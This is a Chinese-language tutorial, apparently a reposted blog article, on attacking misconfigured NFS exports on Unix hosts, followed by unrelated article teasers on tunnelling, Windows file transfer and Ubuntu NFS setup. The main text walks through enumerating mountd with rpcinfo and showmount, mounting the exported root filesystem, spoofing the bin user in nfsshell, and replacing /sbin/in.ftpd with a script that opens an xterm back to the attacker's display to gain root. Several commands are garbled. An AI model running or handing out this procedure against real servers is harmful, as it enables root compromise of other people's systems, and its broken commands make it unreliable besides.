Unix下的nfs滲透技術

2021-09-21 18:55:46 字數 2810 閱讀 7316

現在的許多文章都是寫的win2k攻防,而unix下 的是少之又少,而我今天寫的就是unix下的漏洞。

眾所周知,nfs是 乙個非常流行的網路作業系統,現在大多數的unix用的是其第三版,它依賴與rpc服務。允許客戶 主機遠端訪問其檔案系統的伺服器都要小心,因為nfs的配置不當也會導致被攻擊。

首先很多的mountd和nfs漏 洞已經被發現了,nfs提供的安全性都依賴與檔案控制代碼,如果能探測到乙個系統的檔案控制代碼,攻擊者就可以輕易訪問主機。

那天我用rpcinfo命 令掃檢視一台unix主機,發現了這樣的資料:

100005 1 udp 32845 mountd

100005 2 udp 32845 mountd

100005 3 udp 32845 mountd

100005 3 udp 32845 mountd

100005 1 tcp 32811 mountd

100005 2 tcp 32811 mountd

100005 3 tcp 32811 mountd

...........

憑感覺,這個資訊可 以利用,但是對它又不熟,所以查了一下,得到了這個漏洞的說明。ok,既然有了資料,那就開始動手吧。

showmount -e ***.***.***.***

export list for ***.***.***.*** /

(everyone)

/usr 

(everyone)

showmount

的結果指明了整個/和/usr檔案系統都出 口到任意主機,攻擊者只需要遠端安裝這個/和/usr檔案系統,就能訪問它們了,具體只受許可權影 響。

大多數的unix中 都有mount命令可用,你可以執行man mount看看幫助,因為不同版本的可能用法不太一 樣。

我們用mount ***.***.***.***:// mnt

將***.***.***.***的 根目錄安裝到本地的/mnt安裝點上。

發現這種漏洞的乙個 更好的程式是nfsshell,我們要先輸入對哪個安裝主機感興趣,以下的被攻擊主機都是本人自己 虛擬的網路環境:

nfs>host dex

using a privileged port(1022)

open dex(192.168.0.1) tcp

下來我們看看主機的 哪些檔案系統被出口;

nfs>export

export list for dex:

/everyone

/usr everyone

現在就可以安裝/文 件系統了:

nfs>mount /

using a privileged port(1021)

mount / tcp,transfer size 8192 bytes.

下來我們來確定訪問 這個系統時用的uid:

nfs>status

user id :-2

group id :-2

remote host:dex

mount path:/

transfer size:8192

現在我們已經安裝了/, 而且發現uid和gid都是nobody。ok,現 在我們既然安裝了整個檔案系統樹,那麼我們現在就可以檢視/etc/passwd檔案的內容了:)。

nfs>cd /etc

nfs>cat passwd

怎麼樣看到了吧,不 過因為該檔案是經過加密的,所以我們無法破解它,但是不要灰心,我們把安裝改為/usr,把uid和gid改 為bin,而獲得二進位制檔案的訪問權:

nfs>mount /usr

using a privileged port (1022)

mount /usr,tcp,transfer size 8192 bytes

nfs>uid 2

nfs>gid 2

nfs>status

user id :2

group id :2

remote host:dex

mount path :/usr

transfer size :8192

現在我們具有該遠端 系統上bin使用者的所有特權了,在我們的例子中,該檔案系統出口時沒有設定會限制bin建立或修改 檔案的能力的任何特殊選項。到了這一步,只需發射會乙個xterm或建立乙個到本地系統的反向通道就能獲取對於目標的系統的訪 問權了。

我們在本地系統建立以下內容的乙個指令碼檔案,並把它命名為in。ftpd

#!/bin/ch

/usr/openwin/bin

。xterm-display10.10.10;0.0

接著在nfs互動中cd到目標上的/sbin目 錄,把in。ftpd替換成我們的版本;

nfs>cd/sbin

nfs>put.in.ftpd

最後,我們通過xhost命 令以允許目標伺服器連線回本地的x伺服器,在執行ftp命令以在目標伺服器上啟動執行/sbin。in。ftpd

最後,我們通過xhost命 令允許目標伺服器連線回本地的x伺服器,再執行ftr命令以在目標伺服器上啟動執行/sbin/in.ftpd:

xhost+dex

to access control list

ftp dex

connected dex

其結果是在本地系統上顯示乙個屬主為root的xterm。 如下面的互動例子所示,既然目標系統上in。ftpd是以root特權 從inetd中派生執行的,因此in。ftpd將以root特 權執行我們的指令碼,從而導致直接的root訪問。

#iduid=o

(root)gid=(root)

到此為止,本文已經全部完成,由此可見安全性在高的系統因為配置不當也會出現致命的漏洞

滲透防護牆的滲透技術

說到通道技術,我想再提一下 埠復用 很多朋友以為通道技術就是埠復用技術。那麼,錯了,埠復用是指乙個埠上建立了多個連線,而不是在乙個端 口上面開放了多個服務而互不干擾。假如你想在已經開放了www服務的主機上,在80埠再新增一項服務,只有2種可能 1.新增服務失敗 2.www服務出錯。那麼什麼是通道呢?...

內網滲透中Windows下的內網傳輸技術

vbspowershell bitsadmin certutil 我們可以在本地伺服器先搭建乙個ftp伺服器 建立乙個使用者 echo open ip ftp.txt 連線到ftp伺服器 echo monster ftp.txt 輸入使用者名稱 echo abc123456 ftp.txt 輸入密碼...

ubuntu下NFS的配置

接ln s home pub work freerunner out target product freerunner home jgyang nfsroot 這樣在開發板上設定的核心命令列中設定的nfs目錄就可是 home jgyang nfsroot,但在 etc exports檔案中 exp...